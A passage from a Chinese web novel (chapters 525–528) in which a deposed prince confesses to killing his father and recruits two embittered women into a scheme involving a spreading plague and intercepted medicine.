就在这时,外面传来一阵打雷的声音。 似是忽然想起了什么,易三少忽地望向窗外双眼一怔,只不过须臾之间,忙立起身来大步朝外冲了出去。 “三少,你要去哪儿?外面要下雨了!”紫苏着急地起身来,上前对着他急奔出去的背影关切地道。 霎时间,一道闪电划过夜空,似是欲要将这夜幕撕开一般。 待到紫苏急追出院子里一看,却是到处漆黑一片,什么都没有看到…… 雨落桥头,几片枯黄的树叶飘落,顺水流下,满地残红,宛若点点泪花。 西秦学院,一午后。 不知是这山居小院惹了骤雨,还是粉色的海棠惹了相思。 梅汐媛独自静坐在窗前,对着窗外淅淅沥沥的雨,失神哀伤地自言自语道:“殿下,我对你如此地一往情深,可你为什么要这样待我?” 过了会儿,不知在心底暗暗做了什么决定,忽然又恨恨气道:“衣上云,轩辕翰,是你们逼本公主的。本公主生来尊贵,岂由得你们任意弃之辱之,本公主一定要你们为此付出沉重的代价!” 门外,陆天骄听到这些话,嘴角一勾,露出一抹狡黠的笑容。 一转眼,却又端起一副纯良无害的笑容来抬脚一边跨过门槛,一边热情地呼唤了一声:“姐姐。” 正所谓,人在屋檐下不得不低头,若是放在平日里,梅汐媛大可对其一笑了之。 然今非昔比,此刻她听到声音,顿扬起一脸笑来,起身相迎:“妹妹来了。” 陆天骄将手里捧着的一茶盘放下,里面放着几碟点心,开口说道:“学院里的食材,远不及姐姐以前所用的。这些粗食,还望姐姐不要嫌弃。” 明明一看见这些吃食,心里就很嫌弃,可嘴上却客气地说:“这些就已经很好了,是姐姐叨扰了妹妹,该请妹妹不要嫌弃才是。我身为一国尊贵的公主,竟沦落至此,若不是幸得妹妹收留,我都不知自己该何去何从。” 看到梅汐媛此刻脸上的表情,陆天骄心里不知有多高兴。 她淡淡地笑了笑,握住梅汐媛的手,说:“你我即为姐妹,于逆境中,自当互相扶持。” 看到梅汐媛回忆往事,眼角浮现出点点泪花,陆天骄忙掏出绣帕来一边替其轻轻擦拭,一边将其扶着落座下安慰道:“这些日子以来,妹妹思前想后,想着或许有一个人能帮到姐姐。” 未及其将话说完,梅汐媛一把捉住陆天骄的手,着急地追问:“是谁?” 第五百二十五章:说曹操,曹操到 陆天骄将其扶着坐下,兀自一边过去倒茶,一边不慌不忙地说:“姐姐莫急,先尝尝妹妹今儿带来的这茶怎么样?” 受辱至此,心里恨不得马上就要那些欺负自己的人个个为此而付出代价。 可身在异乡,又孤立无援,梅汐媛又不得不沉住气使自己平静下来,遂缓缓坐了下去。 陆天骄一边进行着手里娴熟的动作,一边津津乐道:“姐姐整日里总是不爱出门,自是不知此时在学院的后山里,错落有致的茶园和田间劳作的茶农之间,俨然一幅令人赏心悦目,美丽的田园画卷。” 说话间,便将一盏茶递到了梅汐媛的手里。 梅汐媛垂眼将其审视了一遍,似是尚还有一丝兴趣,于是缓缓送入口中。 却不禁顿时惊叹地道:“此茶汤色嫩绿,清香高长,滋味鲜醇,爽口回甘,倒是之前真的从未尝到过,不知是什么茶?产于何处?” 陆天骄介绍道:“西秦学院地处白云,青山,绿水之间。在后山的茶园里,一年四季时常雨雾缭绕,此茶便是在这片幽然恬静的山谷中慢慢成熟,伴随着大自然的虫鸣鸟叫声生长。” “原来如此”梅汐媛终于明白过来,不自觉地又轻抿了一口。 陆天骄笑了笑,又道:“这道暮春茶,是每到暮春时节,谷雨这日。采茶人要趁着时节赶在几日之内就要完成采摘工作,于手舞翻飞之间,一个个嫩绿的叶尖就被采摘了下来,仅一斤鲜茶,便需要采摘上万个茶尖所制。乃是真正名副其实的雾罩千树茶,味存一盏中。” 梅汐媛认真地听着,正在思索,陆天骄却缓缓在其身边坐了下来,转移了话题。 “其实,妹妹所说的这个人,姐姐也是认得的。” 梅汐媛听了,忽地回过神来看着她的脸疑惑地道:“你说什么?我也识得此人?” 陆天骄嘴角上扬起一抹弧度,微微点了点头,继而故作神秘地提醒她道:“不知姐姐可还记得四海茶庄?” 梅汐媛回忆了一瞬,终于想了起来,说:“妹妹你说的是……那个北烈商人……拓跋泽。” 陆天骄依然微笑不改,再次弱弱地点头。 梅汐媛回忆片刻,说:“妹妹若不说,我还真是差点儿都快要忘记这个人了。此人心狠手辣,又的确有几分小聪明,倒是可用。” 言语之间,语气又透露出几分迟疑:“只是……我总觉得这个人的身份很是可疑,并不像是一个普通的商人那般简单。” 这时,陆天骄的脸色忽然严肃了起来:“时已至此,妹妹也不瞒姐姐了。其实,四海茶庄的拓跋泽,正是昔日的北烈国大皇子拓跋泽。” 梅汐媛一听,顿看向陆天骄的脸,瞬间惊呆了:“你说什么?他……他竟就是北烈国大皇子……拓跋泽。” 看着陆天骄已然认真极了的脸,她怎么都没想到,陆天骄竟会与他结识。 似是看穿了梅汐媛眼里此刻的质疑,陆天骄解释说:“姐姐不要误会,一开始,我也并不知道他就是北烈国大皇子。直到后来有一日,在秦王府,我听府中的侍卫跟程将军禀报时说起才得知。” 半晌后,梅汐媛方才回过了神来。 回忆往事,自己心里亦是抱歉十分,遂开口致歉:“四海茶庄的事,终究是我没能下得了手,还欺骗了妹妹。都怪我那时一时糊涂,妇人之仁,当断不断,若是全听了妹妹的,也不会酿成今日这后果。也请妹妹……原谅我。” “过去的事,都已经过去了。重要的是,现在我们还在一起,不是吗?”听到陆天骄的这句话,梅汐媛心里五味杂陈,俩人微笑着相对视在一起。 片刻后,梅汐媛转念又说:“可我听闻,西北一战,整个北烈皇室不俱都全部已经灭亡了吗?” 陆天骄将重新斟好的一盏热茶奉上,道:“姐姐有所不知,拓拔泽这个人向来心术不正,诡计多端,岂会那么轻易便死去!” 梅汐媛若有所思地伸手将茶接过,陆天骄遂面露难色道:“只可惜……妹妹派人找了这么久,至今还是连他的半点儿音讯都没有打探到。” 俩人正一道面色凝重着陷入沉思,一名青衣婢女步履匆匆地从院子里的长廊上朝屋子方向走了过来。 婢女进门后,屈膝朝俩人行礼,开口说:“启禀大小姐,刚刚门外有人送来一封书信,说是给大小姐您的。” 陆天骄起身,将婢女手里奉上的信接过,问:“那送信的人呢?他可曾说了什么?” 婢女答:“送信的人已经离开了,倒是并没有说什么,只说大小姐一看信的内容便知。” 陆天骄摆了摆手,婢女便退了出去。 陆天骄遂将手中的书信缓缓展开,只见不过须臾之间,顿时喜上眉梢地说:“这还真是说曹操,曹操到。我就说了,那么世间穷凶极恶的一个人,满身的罪恶未赎,怎么可能那么轻易便死掉。” 见她忽然变得如此高兴,梅汐媛弱弱问:“妹妹说的是谁?” 陆天骄将信递给她,说:“是拓跋泽,他约我们城中一叙。” 梅汐媛接过信一看,整个人顿时感觉自己又重新充满了力量。 随后狠狠地攥紧了那封信,道:“上次是本公主心太善了竟然想要放她一马留她一命,这才让她有机会一次又一次地伤害本公主以及本公主的亲人。这一次,本公主一定要斩草除根,让她永无葬身之地,永生永世都万劫不复。” 话一说完,俩人遂对视相望着,各自心里做着各自的盘算。 院子里,雨还在淅淅沥沥的落着。 陆天骄忽然饶有兴致地开口说:“姐姐,学院里的雨天亦是别有一番风趣,不如还是随妹妹出去走走吧。” “也好!”梅汐媛终于第一次愿意踏出房门。 陆天骄替其撑着油纸伞,刚一出门,看到院子角落里竟有几朵红色的蘑菇正在伴随着风雨轻轻摇摆。 梅汐媛驻足停下观望着道:“雨滴丝丝落,红蘑长中高。” 她在心里默默地道:“是时候藏好软弱了。世间大雨滂沱,万物苟且而活,无人再为你背负一切,莫嫌前路漫漫颠簸,人生本就曲折坎坷。” 翌日,雨过天晴,又是一个好天气。 西秦皇城,熙熙攘攘的人群,嘈杂的街市上。 街边一门楣上悬着一长方形匾额,雕刻着黑底镏金醒目的“四海茶庄”四个颇具气势的大字,庄重又堂皇,堪堪不俗。 “岩间九龙腾四海,茶中圣品味一流” 物是人非,冥冥之中,一切都已经变了,却又仿佛什么都不曾改变。 拓跋宏被人一路带至二楼。 到了一极隐蔽的雅间门口,终于要见到过去无数个夜里,曾无数次出现在自己梦里的那个人,心里明明很是激动,可眼看着马上就要见到了。 站在门外,俩人仅一墙之隔,拓跋宏的脚步终究还是迟疑了。 就在他犹豫之间,侍卫已经向里面的主子禀告完,再次出来相迎:“二皇子,大皇子有请。” 闻此,他所有的思绪都被打断,遂提起步来,走了进去。 不管过去的一切无论如何,始终他们都是彼此在这个世上仅剩下的唯一最亲的人。 九死一生,如今还能再得相逢,本应该见面更多几分关切与真情。 怎料拓跋宏正欲在想要怎么开口,却见独自坐在茶案前,正悠闲自在地玩弄着一堆茶具的拓跋泽先开了口。 “啧啧啧,我还以为堂堂北烈国二皇子,那冥顽不灵的老东西心中所属意的未来草原之王,真如传闻中的一样,不堪受亡国之辱,与那老东西的尸骨一道烧成灰了。没想到,你竟然还活着。” 说完,发出一阵长长的笑声来:“哈哈,哈哈哈,哈哈哈哈哈……” 打从得知拓跋泽还活着,拓跋宏心里似是已隐隐感觉到了什么。 于是,他丝毫不顾忌拓跋泽对自己的轻蔑,说道:“没想到,我们再见面竟然是这样的。事到如今,我只想知道,你到底想做什么?” 闻此,拓跋泽的笑声戛然而止,遂将一双冰冷的眸子射向他的脸,表情几近狰狞,狠狠的道:“我想做什么?也罢,左右只不过一个废物,告诉你也无妨。我要复仇,我要这天下,我要将昔日里我所失去的一切,全部都讨回来。” 看到此时已然如同魔怔了一般想要复仇的模样,拓跋宏摇了摇头,诚恳地劝道:“皇兄,收手吧。你可知道,打从西秦秦王收复了北烈后,较以前,两国人民之间如今相处地是何等融洽,百姓生活又是何等幸福嘛!况且,关于父皇的死,你以为我真的不知道是谁所为吗?” 直到此刻,拓跋泽依然在撒谎:“亡国之恨,杀父之仇,桩桩不共戴天。你难道这么快便忘了,是你心心念念想要护着的那个丫头害死父皇的吗?” 拓跋宏悄悄握紧拳头,努力隐忍着心中的仇恨,问:“事到如今,难道你还是不肯承认吗?” “我……我要承认什么?”拓跋泽气道。 眼看着俩人的谈话就此而陷入僵局,一时间里,一室寂静。 岂料忽然炸出一句:“父皇是不是你杀的?” 第五百二十六章:滚,不要让我再看到你 “父皇是不是你杀的?” 闻此,拓跋泽忽停下了手中刚好送至嘴边即将入口的一盏茶,暗自心里顿了一下。 继而又回过神来,故作气定神闲地兀自继续自斟自饮起来。 最后矢口否认道:“一派胡言,许久未见,莫是你的脑子出问题了?那老东西的死,明明就是因为你所属意的那个丫头所致,如今你倒颠倒是非黑白竟还妄想嫁祸于我,是何居心?” 接着,又显得懊恼极了地说:“早知会有后来的灾祸,当初千不该万不该,我实不该将她带回国,不想她竟是一颗灾星。” 关于眼前的这一幕,在过去至今的无数个日日夜夜里,拓跋宏其实早已料到。如果有一天他亲口问及他此事,他绝不会如此轻易承认自己的罪责。 虽然自己内心也不愿相信,可所有证据都指向眼前这个人才是杀死其父的真正元凶。 那可是给予他兄弟二人生命,付出所有真心将他们养育长大的父皇啊,那时那刻,他怎么下的了手? 在他对父皇刀剑相向,以命相博的那一刻,父皇的眼里,心里该是有多么地悲伤和失望…… 一念至此,拓跋宏努力隐忍着自己内心的悲愤,深深吸了口气,问:“那把短剑呢?” 拓跋泽似是一时尚还未反应过来,道:“什么短剑?” 拓跋宏默默地掏出自己从小到大,无时无刻不随身携带着的那把灵巧精致的短剑,将其紧紧握住亮到了拓跋泽的面前。 拓跋泽一见,这才明白了过来,于是极为轻蔑地笑了笑,亦从身上掏出了自己的那一把来丢在了面前的茶几上:“原来是这破玩意儿,不在这儿呢吗?” 凝视着茶几上的那把虽然是被随意丢出的短剑,拓跋宏的心里也总算是升起了一丝丝欣慰:“这把短剑他竟然还能留着,没有将它视同废物一样随便丢弃。” 于是,他上前两步过去将其从茶几上缓缓拾了起来,顿时间,父子三人曾经一起快乐的那些时光片段映于眼前。 “宏儿,我们北烈人的江山是在马背上得来的,骑马射箭,你一定要向你皇兄好好学习。” “泽儿,你虽聪明,样样都好,但须知凡事皆过犹不及,一定要把握分寸。未来,一定要护好弟弟。” …… 想起俩人儿时一道从父皇手里接过这两把短剑时那欢心的相视一笑,不自觉地,他的眼里就泛起了点点泪花。 拓跋泽似是看懂了他的心思,可生性最是见不得人落泪,尤其是男子,还是自己的亲手足。 一看见拓跋宏的样子,便不耐烦地气不打一处来,眼睛不屑地从他脸上划过,说:“那老东西一生倒也算是个狠角色!可真不知道怎么会生出你这样没用的废物来。” 拓跋宏根本没有理会他所说。 顿时间,一室寂静。 片刻后,却不想拓跋宏忽然冷冷地炸出一句道:“这剑上,父皇亲手所镶嵌上去的那颗红宝石……‘草原之光’呢?” 拓跋泽想了想,似是自己也并不记得是什么时候掉的,只随意地说了句:“不就一颗破石头吗?许是不知什么时候一不小心就掉了。” 拓跋宏笑了笑,冷冷地说:“草原之光……那是父皇母后相识时的定情信物,世间仅此两块,父皇一生都视之为命的东西,你竟只当它是块破石头……” 说完,便将一颗晶莹剔透的菱形红宝石从自己身上掏了出来。 “这……你是从哪儿捡到的?”拓跋泽一见,终于顿立起身来,望着其惊呆了。 正要伸手过去一把将其夺回来,拓跋宏的身子忽地一个闪避,拓跋泽伸手抓了个空。 拓跋泽对其举动正疑惑不解,拓跋宏忽变作一脸严肃地道:“有些东西,你这一生都不配拥有。” 拓跋宏挪了两步到一旁,将那颗红宝石悉心地再次镶嵌回到那把短剑的缺口处,问:“你想知道,这颗草原之光我是从哪儿捡到的吗?” 拓跋泽至今都对他的一举一动,一脸疑惑。 拓跋宏将刚刚亲手恢复如初,连同自己的一起,两把短剑再次仔仔细细地认真比对了一下,如今总算是俱都已一模一样。 方才满意地笑了笑,开口问:“我记得皇兄因为兵符一事与父皇怄气,直到父皇病重离世前,已有大半年都未曾探望过他一眼,是不是?” 回忆往事,拓跋泽深深吸了口气,显然无话可说。 岂料拓跋宏忽然无比认真,这次竟扬起声来质问他:“我问你是不是?” 从小到大,他还从未以这样的口气大声和自己说过话,拓跋泽心里着实惊了一下,最后双手负后背对着他,沉声答道:“是又怎样?” 即便此时,他还在撒谎,拓跋宏心里难过极了。 他悄悄一遍遍地摩挲着自己亲手刚刚嵌上去那颗的宝石,咬着牙道:“如果皇兄所说皆是事实,半年都未曾见过缠绵于病榻之上的父皇一面,那这颗从皇兄的剑上所遗失的草原之光,又是怎么出现在父皇的帐篷里的?” “你说什么?你说这是你从……”显然,此时终于得知了事实真相的拓跋泽,顿回过头去望着拓跋宏的脸,往事一幕幕,却是都不敢继续想下去。 “难不成,直到现在,皇兄你还是不肯承认吗?”面对此时这一幕,拓跋宏的心里自然是难过到了极点。 拓跋泽想了一瞬,咬了咬牙,索性也不打算再继续隐瞒,忽然似是换了一幅面孔,面目狰狞地对其狂吼起来。 “既然你都已经知道了,我也就不瞒你了。那个老东西,的确是我亲手送他上路的,你又能把我怎么样?” “你……” 不及拓跋宏说话,拓跋泽兀自继续道:“他早就已经该死了。从小到大,骑马射箭,带兵四处征战,在其他宗室面前,我哪里不如你?可为什么他属意的皇位继承人偏偏不是我,而是你呢?你胆小,又懦弱无能,哪一点能与我比?与其坐以待毙,等着有朝一日只能眼睁睁看着将皇位拱手让人,不如我先下手为强,博一博。” 隐忍了这么多年的心思,此时全都说了出来,拓跋泽觉得心里痛快极了。 可一想起来结局却是不甚人意,又颇为失望地道:“只可惜,这一切,千算万算,最后竟被那个丫头给毁了。” 可他依旧不会放弃,永远都不会放弃,信心满满地说:“不过没关系,留着青山在,不怕没柴烧。来日方长,我一定会让背叛亏欠我的人将我所受过的所有屈辱,都千倍万倍的还回来。” 一听到他似乎是在计划对衣上云采取什么行动,拓跋宏顿时忘记了所有,心里只着急地问:“你要做什么?你想对乌乐做什么?我不允许。” 拓跋泽嘴角一斜,勾出一抹狡黠的笑来:“起初我还不信,原来这世间,真的很公平。你看那老东西英明一世,却是糊涂一时,所以他的死是在为他所犯的错付出应有的代价。而那个丫头,既然她也做错事了,自然也就该为此而付出她所该付的代价。况且,想要找她算帐的人,又岂止我一个?” 拓跋宏越听越是担心着急,连忙阻止他:“我不许你伤害她一根头发,不许任何人……” 未及其将话说完,拓跋泽紧了两步上前近身到他的面前,忽地一把提起他的衣领,让其贴近自己的脸,看着他的眼睛问:“不许?你以为你如今还有资格阻止得了我?还是你以为……那个老东西……还能从黑暗的地底下钻出来再护着你?” “我……”拓跋宏显然无言以对,是啊,他何曾是他的对手。 乘其不备,拓跋泽又一把从拓跋宏身上夺回了自己的那把短剑。 另一只手顺势稍稍一松,便放开了拓跋宏。 未待拓跋宏反应过来,拓跋泽转身过去对其沉声喝了一句道:“滚,不要让我再看到你。” 拓跋宏看着拓拔泽几近疯狂的背影,可自己却什么都做不了,然最后还是坚定不移地说了句:“无论如何,我是绝对不允许你伤害她分毫的。” 说完,便转身大步走了出去。 拓拔泽暗自紧紧握住了手里刚刚被拓跋宏还原了的那把短剑,似是想要用尽全力握紧什么。 拓跋宏前脚刚刚离开,梅汐媛与陆天骄俩人皆都遮着长长的白色帷帽,与其在门口擦肩而过。 她们亦是如约而至,踏入了四海茶庄的门。 “大皇子,永乐公主和西秦学院大小姐到了。” 拓拔泽正在沉思,听了门外侍卫的禀报,忙起身来走出雅间,换了一副面孔亲自笑脸相迎:“在下在此已恭候数日,俩位美人儿终于来了,真是好久不见,好久不见!” 然梅汐媛与陆天骄二人似是却并没有给他什么好脸色,只微微朝其点了点头,什么都没说,便先匆匆进入到雅间内落座下。 拓拔泽一见,此情此景,似是心里早已有所预料,于是独自略加尴尬地笑了笑,转身紧随其后进了门。 第五百二十七章:唯恐天下不乱 “感谢俩位贵客的赏脸,难得还能记得在下,不辞辛苦前来赴约。”拓跋泽跟着一进去,便堆起满脸的笑容来道。 梅汐媛与陆天骄也都已卸下了帏帽的遮挡,陆天骄先开口不屑地说:“大皇子之前隐藏的还真是不浅啊,着实让咱们真正成了那些个有眼无珠之辈。” 拓跋泽早已料到,自己的身份终会被这二人识破。 几乎面不改色,一边替俩人亲自斟茶,一边甚觉抱歉地道:“身处于乱世之中,一切皆是不得已而为之。可自始至终,除了向二位隐瞒了自己的身份外,在下从未做过伤害二位之事,且处处想方设法在替俩位排忧解难,不是吗?” 说着说着,似是就连自己都觉得讽刺极了:“况且,如今在下国破家亡,可谓是名副其实的孑然一身,真的就只是一介平民,早已不是什么大皇子了。所以,还望俩位贵人莫怪。” “你这会儿倒是真变老实了,竟一点儿也不替自己辩解几句。”一旁的梅汐媛亦开了口。 拓跋泽一听,紧忙回过神来先将斟好的茶双手奉上到其面前,朝其诚恳地说:“是在下办事不力,辜负了公主当日所托。如今幸得天不亡我,这不一喘过气来便亲自向俩位来负荆请罪了吗?” “什么?我没听错吧?让堂堂北烈国大皇子向我们俩个手无缚鸡之力的弱女子负荆请罪,我二人可不敢当!”梅汐媛还未说话,陆天骄一想起上次在四海茶庄的事来心里就窝火,便阴阳怪气地说。 拓跋泽又紧忙捧起另一盏茶来,朝陆天骄深深躬身施礼,道:“陆大小姐大人有大量,过去的事,千错万错,都是在下的错。还望过去一切就此一笔勾销吧。” “哼!”陆天骄虽面儿上冷冷地朝其哼了一鼻子,又恨恨地斜了他一眼,可终还是接过了他手里的茶盏。 看着陆天骄也算是安静了下来,梅汐媛方才开口问:“说吧,你派人叫我二人前来,究竟所为何事?” 陆天骄亦气呼呼地跟了句道:“还不快说,莫是这次又有什么交易?不知又要咱们付多少筹码?” “真是见笑了。上次的事没能替二位办成,在下至今都一直耿耿于怀,哪里还敢再向二位提及筹码的事。” 拓跋泽话音刚落,陆天骄竟故意朝其摊开手去,打趣他道:“既然你都这样说了,那不如就请将上次的筹码原数奉还于我们吧!” “妹妹……”梅汐媛见拓跋泽顿面露难色,忙开口将她阻止。 “哼……”陆天骄又是一鼻子冷哼,狠狠地白了拓跋泽一眼。 想起上次在四海茶庄里,拓跋泽竟对自己那般势力,翻脸不认人,陆天骄至今都有一肚子的气无处可撒。 这时,拓跋泽终于说话了:“虽然筹码在下是无法还给二位了,不过,这次的计划,在下敢用自己的性命保证,一定万无一失。” 拓拔泽信誓旦旦地说完这句,便示意二人向自己靠拢,最后三人将脑袋挤到了一起,低声密谋起来。 屋内,当拓跋泽将自己此次天衣无缝的整个计划和盘托出后,两个女子确是霎时间面面相觑着,惊呆了。 她们不得不承认,拓拔泽的心狠手辣至极,远远超出了她们的想象,为达目的,他竟毫无底线。 思虑半晌后,陆天骄有些疑惑地问:“既然你的计划都已经布置到如此完美的境界,那还叫我二人前来又是为了什么?不会是到时候,要我们替你在一旁鼓掌叫好吧?!” 拓拔泽遂定睛看向了梅汐媛的脸,梅汐媛似是瞬间便明白了过来,却是恍若做梦一般不敢置信地开口朝其确认:“难道你要本公主助你在东宁的行动一臂之力?” 拓拔泽的表情显然是肯定无疑了。 梅汐媛稍一思索,便“啪”地一下,一把重重地拍在了三人面前的茶几上。 当即拒绝道:“不行!那可是本公主的母国,生我养我的地方。就算再不济,我也不能做出这等大逆不道之事。” 梅汐媛着实愤怒极了:“如今瘟疫只发生在龙虎城,其他地方并没有疫情传出,仅仅只为了护一城百姓,便要本公主冒着可能将会失了我整个皇家威严的可能,那不就等同于是本公主亲手将东宁拱手赠与你嘛!你这个如意算盘,打的可真是够精,够妙,够狠。” 自己内心早已激动不已,可此时任凭说了这么多,一看拓跋泽,却是只自顾自地坐着悠闲品茶,梅汐媛愈加坚定了自己的决定:“不可以,绝对不可以……” 这时,拓拔泽笑着终于缓缓开了口想要试探她:“听闻永乐公主打从秦王府出来后……便整日里足不出户……” 岂料未及其将话说完,似是果然已触动了梅汐媛的某根敏感的神经,她当即朝拓跋泽大声呵斥道:“住口!” 仅仅几个字,却似是已试探出了自己想要的结果,拓跋泽笑了笑,继续说:“公主深居简出已久,怎么就能断定,如今疫情只发生在龙虎城,其余以外的地方就没有呢?” “你这话是什么意思?”闻此,两个女子顿都将目光一起惊看向了拓跋泽的脸。 拓跋泽则不紧不慢地继续替俩人重新斟好了新茶之后,方才开口说:“天下如果真若是公主所想的这般太平的话,那般英明睿智的西秦秦王,又怎会被此事牵连,以至于西秦璟帝在朝堂之上如此震怒地将其禁足于府中闭门思过呢?” “这一切,难道都是你在暗中搞的鬼?”陆天骄顿时明白了过来,遂惊立起身来道。 拓拔泽依旧脸上带着微笑,缓缓又斟了一杯茶,这次却是换做自己将其捧起悠闲地品了起来。 最后,还不忘把玩着手里的茶盏一会儿,饶有兴致地说:“公主难道没有尝出来今日这道茶,是产自于何处?” 闻此,梅汐媛方才复又端起茶盏来仔细品了品,最后惊讶地看着他的眼睛,说:“这……这是我龙虎城当年开春现制的仅供于宫廷皇室御用的龙鳞,你怎么会……” 拓拔泽看着自己手中的茶盏里淡黄色的茶汤,又似是陶醉极了地嗅了嗅那沁鼻的茶香。 之后,语气极为云淡风轻地说:“在下前段时日里闲来无事,只是往龙虎城里这么随便走了一遭。啧啧啧……那般人间仙境,风景秀丽的一个分水宝地,如今可是遍地的灾民。他们叫天天不应,叫地地不灵,只有等死。” 仅听着这些话,梅汐媛就已觉得仿佛自己亲眼看到了这一切似的,瞬间其整个心都揪了起来。 拓跋泽看到梅汐媛此时痛苦又无助极了的表情,依旧没能停下来,兀自继续说:“在下实在是看不下去那一双双眼里充满了对生命的渴望的眼睛,于是便将他们中的重症患者,分别转移到了灵空大陆的其他角落,希望能替他们四处寻医问药,好早日得到更好的救治。” 说着,他移动目光问梅汐媛:“就连在下一个陌生人都如此不忍心看着他们继续痛苦下去,永乐公主作为他们的主子,难道就不想这场疫情早点儿结束,您的子民好少些痛苦与亡灵吗?” “拓拔泽,你……你简直丧心病狂,竟将疫病四处传播。”梅汐媛听了,难以置信,同时亦愤怒极了。 拓拔泽定睛看着梅汐媛的脸,狡辩说:“在下此举难道不是在替公主您帮助您的子民们吗?难道是……在下错了?公主可是不喜欢?” 忽然之间,拓跋泽像是魔症了一般:“哎呀!记得当时,在下可是对那些灾民们声称是他们远嫁西秦的公主派来拯救他们的呀,他们对公主您可是感恩戴德,感激流涕呢。公主不喜欢,这下可该怎么办才好?” “疯子,拓拔泽,你简直就是一个疯子,大魔头。”就连在一旁听着的陆天骄,亦是瞬间只觉毛骨损然。 梅汐媛显然已被其惊得都不知该说些什么,已然再也坐不住,便即刻立起身来坚决地道:“本公主就算这辈子永远都回不去东宁了,也绝对不会与你这样唯恐天下不乱的小人同流合污。你简直丧心病狂,本公主劝你,多行不义必自毙,这辈子,你都不要再痴心妄想了。” “妹妹,我们走。” 启料话一说完,二人刚立起身来,正欲迈步出门,忽闻一阵声音响起道:“对了,近日听闻秦王府内金屋藏娇了一东宁国女子,似乎比永乐公主的身份更为尊贵。不但如此,听说,那女子似乎已经……有了身孕。又闻,纯太妃近日里,也是频频入宫与太后见面,不知在商议些什么家事?不过看来,或许秦王府……很快便会双喜临门了。” 闻此,俩人顿时停下了脚下的步伐。 梅汐媛咬了咬牙,悄悄握紧了双拳来,沉声说:“本公主答应与你合作。” 说完,俩人复又转身回座了回去。 第五百二十八章:女帝 从四海茶庄里出来,拓跋宏独自一人失神地穿梭在熙熙攘攘的人群中,脑海里全都是方才与拓跋泽见面时的点点滴滴。 果然,当初他最不愿意相信的事情,终究还是不得不让他深信了。 可任他怎么都想不明白,拓跋泽是如何一步一步成为今天这个样子的? 从小到大,他从来都没有想过要和他争什么?小到一匹马,一把心爱的匕首,大到哪怕是所有人都对其存有觊觎之心的草原王的位置,他都从来没有放过半分在心上过。 也任由他过去无论做什么,他都可以睁一只眼,闭一只眼,可他怎么会?怎么敢?怎么忍心对那般疼爱他们的父王下手。 就这样一边走,一边思考着,他忽然伸手摸了摸自己的身上,忽地反应过来:“草原之光本是世间一双,无论如何,我都不能让它们再分开了。或许,这是我对草原仅剩下的唯一能做的事情了。” 说完,便急忙调转回头去。 此时,在四海茶庄里,拓跋泽,梅汐媛,陆天骄三人正在密谋策划着一件大事。 拓跋泽道:“听闻轩辕翰虽然被禁足于府中不得出,却背着西秦璟帝暗地里命人将一批麻黄悄悄送往东宁国龙虎城治疗疫病。这若是我们神不知,鬼不觉地将这批麻黄截获了的话,会怎么样?” 陆天骄一边替梅汐媛斟茶,一边道:“若是没有了麻黄,龙虎城的这场大疫,自然便无药可解,无人能救。” 梅汐媛依旧面露忧色,甚是纠结着道:“可那终究是我东宁国的子民,本公主怎能见死不救?” 闻之,拓跋泽与陆天骄相对视了一眼,继而提醒说:“公主此言差矣,打从公主远嫁之日起,您便早已不再是东宁公主,如今那亦已然不是公主您的子民,而是三皇子梅志轩,亦或颇受百姓拥戴的永宁公主的子民。” 梅汐媛听了,气愤至极地道:“你……” 拓跋泽继续胸有成竹地说道:“公主稍安勿躁,起先的那些话全只是儿戏,还请公主不要放在心上。在下这次既然能请公主来,自有万全之策助公主一臂之力,令公主恢复昔日的荣光。甚至……” 梅汐媛遂怒瞪了一眼,且先耐下心来听他主意。 拓跋泽说着,朝梅汐媛身旁凑了凑,故作玄虚地道:“还能扶公主上位,做东宁国,不,公主您应是这片灵空大陆上前无古人,后无来者的首位女帝。到时候,公主君临天下,威风凛凛,还怕惩治不了一个负心汉嘛!” 果然,这个主意着实十分吸引人,梅汐媛当即震惊地看向拓跋泽的脸。 就连一旁的陆天骄亦被其惊到。 “女帝?”梅汐媛半信半疑地重复了一句。 可片刻后,却看着拓跋泽的脸忽然笑了起来。 接着,兀自端起面前的茶盏抿了一口后,道:“这大白天的,你说的是哪门子梦话?你让本公主怎么相信你有这个本事?” 梅汐媛说着,环顾了一下四周,道:“本公主可是清清楚楚地记得,上次在同样的地方,你可是同本公主亦是如此信誓旦旦的,可结果呢?” “上次的确是在下轻敌,亦是小看了那个丫头。后来才会一不小心,痛失了江山。所以这次,在下绝不会失手,也不能再失手!”拓跋泽遂握紧了手里的茶盏,肃声道。 看着拓跋泽这次已然是下了狠心,梅汐媛亦深吸了口气,昂起首来坚定地道:“好,本公主且再相信你一次,可若是这次再不成,本公主一定会先比任何人要了你的命。” 至此,两个各自失意的人将目光紧紧对视在一起。 就连在一旁默不作声的陆天骄,亦安静了下来,不敢再出声。 过了会儿,梅汐媛郁闷了不知已有多久的心结,似是终于释然了许多,于是轻松地问道:“本公主想知道,你帮了本公主这么大的忙,想从本公主这里得到什么?” 拓跋泽认真地看了梅汐媛的脸一会儿,梅汐媛便猜测着道:“你该不会是对本公主……” 这时,拓跋泽深情演绎着说:“在下岂敢冒犯公主。实不相瞒,西北一战,在下国破家亡,一心只想报仇。” 回忆往昔,梅汐媛亦狠狠道:“西秦国亏欠本公主的,日后总有一日,本公主亦全都会一一讨回来。” 殊不知,这一切密谋,恰好被折返回来欲取回草原之心的拓跋宏听了去。 拓跋宏将守门的侍卫扯到一边,质问其:“大皇子究竟都做了些什么?你还不细细说来。” “大皇子……他……”侍卫朝其娓娓道来。 听了侍卫的话,拓跋宏被拓跋泽几近泯灭人性的所作所为惊呆了。 待其终于回过神来,嘴里碎碎念说:“不,我绝不能坐视不管,任由皇兄如此丧心病狂,危害人间。” 看着拓跋宏说着就要闯进去,侍卫忙将其从身后抱住阻拦道:“二皇子,没有用的。你是阻止不了大皇子的计划的?如今他的眼里满是仇恨,已经走火入魔,无药可救了!” 拓跋宏依旧执意要去阻止,便挣扎着道:“不行,就算是死,我也一定要阻止皇兄。” 侍卫见自己已然拦不住,情急之下,一掌上去将其劈晕了过去:“二皇子,对不起,得罪了。” 秦王府后山,一处无人的空谷。 日暮栖霞,鸿雁归去。 满天丹云坠绿池,一江春水映霞红,山林芳草齐斗艳,花间彩蝶舞纷飞。 花田深处,却见美人,暗自湿罗衫。 衣上云独自坐在寂静的山谷之中,眼前所及,虽皆是世间难得的风景如画,怎料即便是置身于如此治愈的景致里,终还是难敌心事重重,难觅孤鸿寄。 “我到底是谁?” “为何近日里脑海中,以往曾经那些支离破碎的记忆片段会越来越频繁的出现。” “那些人,他们都是什么人?与我又有何干系?” “衣副总……” “衣府大小姐……” “守护者后人……” “东宁国嫡公主……” “到底哪个才是我?” “究竟发生了什么?” 